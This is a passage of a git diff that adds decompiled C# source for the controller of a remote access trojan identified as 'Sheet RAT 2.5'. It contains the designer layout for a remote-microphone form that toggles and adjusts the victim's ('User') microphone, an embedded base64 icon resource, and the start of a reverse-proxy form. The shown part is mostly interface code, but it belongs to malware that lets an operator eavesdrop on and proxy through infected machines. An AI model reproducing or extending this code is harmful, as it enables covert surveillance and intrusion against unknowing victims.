this.metroComboBox2.Margin = new Padding(2); + this.metroComboBox2.Name = "metroComboBox2"; + this.metroComboBox2.Size = new Size(236, 25); + this.metroComboBox2.Style = MetroColorStyle.Lime; + this.metroComboBox2.TabIndex = 38; + this.metroComboBox2.Theme = MetroThemeStyle.Dark; + this.metroComboBox2.UseSelectable = true; + this.metroComboBox2.UseStyleColors = true; + this.metroComboBox3.FontSize = MetroComboBoxSize.Small; + this.metroComboBox3.FormattingEnabled = true; + this.metroComboBox3.ItemHeight = 19; + this.metroComboBox3.Location = new Point(306, 80 /*0x50*/); + this.metroComboBox3.Margin = new Padding(2); + this.metroComboBox3.Name = "metroComboBox3"; + this.metroComboBox3.Size = new Size(236, 25); + this.metroComboBox3.Style = MetroColorStyle.Lime; + this.metroComboBox3.TabIndex = 37; + this.metroComboBox3.Theme = MetroThemeStyle.Dark; + this.metroComboBox3.UseSelectable = true; + this.metroComboBox3.UseStyleColors = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(392, 140); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(121, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 40; + this.metroLabel2.Text = "<- My Microphone"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroToggle2.AutoSize = true; + this.metroToggle2.Location = new Point(306, 139); + this.metroToggle2.Name = "metroToggle2"; + this.metroToggle2.Size = new Size(80 /*0x50*/, 17); + this.metroToggle2.Style = MetroColorStyle.Lime; + this.metroToggle2.TabIndex = 39; + this.metroToggle2.Text = "Off"; + this.metroToggle2.Theme = MetroThemeStyle.Dark; + this.metroToggle2.UseSelectable = true; + this.metroToggle2.UseStyleColors = true; + this.metroToggle2.CheckedChanged += new EventHandler(this.metroToggle2_CheckedChanged); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(109, 141); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(129, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 42; + this.metroLabel1.Text = "<- User Microphone"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroToggle1.AutoSize = true; + this.metroToggle1.Location = new Point(23, 140); + this.metroToggle1.Name = "metroToggle1"; + this.metroToggle1.Size = new Size(80 /*0x50*/, 17); + this.metroToggle1.Style = MetroColorStyle.Lime; + this.metroToggle1.TabIndex = 41; + this.metroToggle1.Text = "Off"; + this.metroToggle1.Theme = MetroThemeStyle.Dark; + this.metroToggle1.UseSelectable = true; + this.metroToggle1.UseStyleColors = true; + this.metroToggle1.CheckedChanged += new EventHandler(this.metroToggle1_CheckedChanged); + this.metroTrackBar1.BackColor = Color.Transparent; + this.metroTrackBar1.Location = new Point(306, 181); + this.metroTrackBar1.Maximum = 21; + this.metroTrackBar1.Minimum = 1; + this.metroTrackBar1.Name = "metroTrackBar1"; + this.metroTrackBar1.Size = new Size(153, 23); + this.metroTrackBar1.Style = MetroColorStyle.Lime; + this.metroTrackBar1.TabIndex = 43; + this.metroTrackBar1.Text = "metroTrackBar1"; + this.metroTrackBar1.Theme = MetroThemeStyle.Dark; + this.metroTrackBar1.Value = 10; + this.metroTrackBar1.Scroll += new ScrollEventHandler(this.metroTrackBar1_Scroll); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(465, 181); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(77, 19); + this.metroLabel3.Style = MetroColorStyle.Lime; + this.metroLabel3.TabIndex = 44; + this.metroLabel3.Text = "<- My Tone"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(182, 181); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(102, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 46; + this.metroLabel4.Text = "<- User Volume"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.metroTrackBar2.BackColor = Color.Transparent; + this.metroTrackBar2.Location = new Point(23, 181); + this.metroTrackBar2.Maximum = 10000; + this.metroTrackBar2.Name = "metroTrackBar2"; + this.metroTrackBar2.Size = new Size(153, 23); + this.metroTrackBar2.Style = MetroColorStyle.Lime; + this.metroTrackBar2.TabIndex = 45; + this.metroTrackBar2.Text = "metroTrackBar2"; + this.metroTrackBar2.Theme = MetroThemeStyle.Dark; + this.metroTrackBar2.Value = 100; + this.metroTrackBar2.Scroll += new ScrollEventHandler(this.metroTrackBar2_Scroll); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(564, 211); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.metroTrackBar2); + this.Controls.Add((Control) this.metroLabel3); + this.Controls.Add((Control) this.metroTrackBar1); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.metroToggle1); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroToggle2); + this.Controls.Add((Control) this.metroComboBox2); + this.Controls.Add((Control) this.metroComboBox3); + this.Controls.Add((Control) this.metroComboBox1); + this.Controls.Add((Control) this.comboBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormRemoteMicrophone); + this.Style = MetroColorStyle.Lime; + this.Text = "RemoteMicrophone"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FromRemoteMicrophone_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRemoteMicrophone.resx b/Server/Server/Forms/FormRemoteMicrophone.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormRemoteMicrophone.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormReverseProxy.cs b/Server/Server/Forms/FormReverseProxy.cs new file mode 100644 index 0000000..29cf741 --- /dev/null +++ b/Server/Server/Forms/FormReverseProxy.cs @@ -0,0 +1,340 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormReverseProxy +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using Server.ReverseProxy; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormReverseProxy : MetroForm +{ + 